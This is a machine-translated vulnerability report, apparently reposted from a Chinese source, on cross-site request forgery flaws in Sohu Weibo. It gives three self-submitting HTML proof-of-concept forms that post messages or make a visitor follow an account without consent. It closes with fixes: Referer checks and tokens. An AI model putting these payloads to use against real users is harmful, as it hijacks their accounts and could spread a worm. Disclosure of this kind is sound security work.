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CSRF vulnerabilities on Sohu Weibo

Source: Internet
Author: User
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A csrf vulnerability in Sohu may cause worms to spread. Weibo is published without the user's consent.
Detailed description:
When receiving the POST and GET information, the Referer is not verified, and the token is not added to the POST information to verify the correctness of the information, resulting in a vulnerability.

Vulnerability address:
Http://t.sohu.com/t/twAction.jsp
<Html> www.2cto.com
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://t.sohu.com/t/twAction.jsp" method = "post">
<Input type = "text" name = "msg" value = "XX"/>
<Input type = "text" name = "act" value = "insertTwitter"/>
<Input type = "text" name = "groupid" value = "0"/>
<Input type = "submit" value = "submit"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
 
 
 
Interface return information
 
 
 
Effect






Second
 
Http://t.sohu.com/t/twAction.jsp
<Html>
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://t.sohu.com/t/twAction.jsp" method = "post">
<Input type = "text" name = "msg" value = "XX"/>
<Input type = "text" name = "act" value = "insertTwitter"/>
<Input type = "text" name = "groupid" value = "0"/>
<Input type = "submit" value = "submit"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
Response Information







Effect




Third:

Vulnerability address:
Http://t.sohu.com/follow/addfollows
<Html> www.2cto.com
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://t.sohu.com/follow/addfollows" method = "post">
<Input type = "text" name = "act" value = "follow"/>
<Input type = "text" name = "friendids" value = "23117291"/>
<Input type = "text" name = "uid" value = "23117291"/>
<Input type = "submit" value = "submit"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
 

 
 
Interface return information
 
 
 
Effect

 
Solution:

Check POST Referer
Add token in POST information

Author: imlonghao

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

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